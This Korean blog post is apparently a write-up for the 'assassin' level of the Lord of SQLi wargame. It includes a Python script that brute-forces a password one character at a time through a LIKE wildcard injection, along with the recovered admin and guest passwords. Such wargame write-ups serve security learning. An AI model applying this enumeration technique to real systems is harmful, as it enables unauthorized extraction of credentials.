Bace

LOS - assassin 본문

LOS

LOS - assassin

Bace 2020. 1. 21. 20:24

문제는 다음과 같다.

pw 는 문자열로 처리되는데, 와일드카드를 통해 확인해보았더니 Hello guest가 뜬다.

아스키코드를 하나씩 다 대입해보아도 Hello admin은 뜨지 않는다.

guest와 admin의 pw 앞자리가 같아서 그렇다.

 

코드를 통해 한자리마다 대입하여 pw를 찾았다.

import requests

answer = ''
guess = ''

for i in range(ord('0'),ord('z')+1):
	url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=처음에는 guest로 나오는거 하나씩 대입하면서 추가하다가 3번째 자리부터 admin pw 나옴 ' + chr(i) + '%'
	cookies = {'PHPSESSID':'자신의 PHPSESSID'}
	response = requests.get(url=url,cookies=cookies)
	if response.text.find("Hello admin") != -1:
		answer += chr(i)
		print 'admin letter'
		break
	elif response.text.find("Hello guest") != -1:
		guess += chr(i)
		print 'guest letter'
		
	print 'letter {} '.format(i)

print answer 
print guess

 

프로그램을 통해 알아낸 pw

admin의 pw : 902EFD10

guest의 pw : 90D2FE10

 

solve

'LOS' 카테고리의 다른 글

LOS - zombie assassin  (0) 2020.01.22
LOS - succubus  (0) 2020.01.22
LOS - giant  (0) 2020.01.21
LOS - bugbear  (0) 2020.01.21
LOS - darkknight  (0) 2020.01.20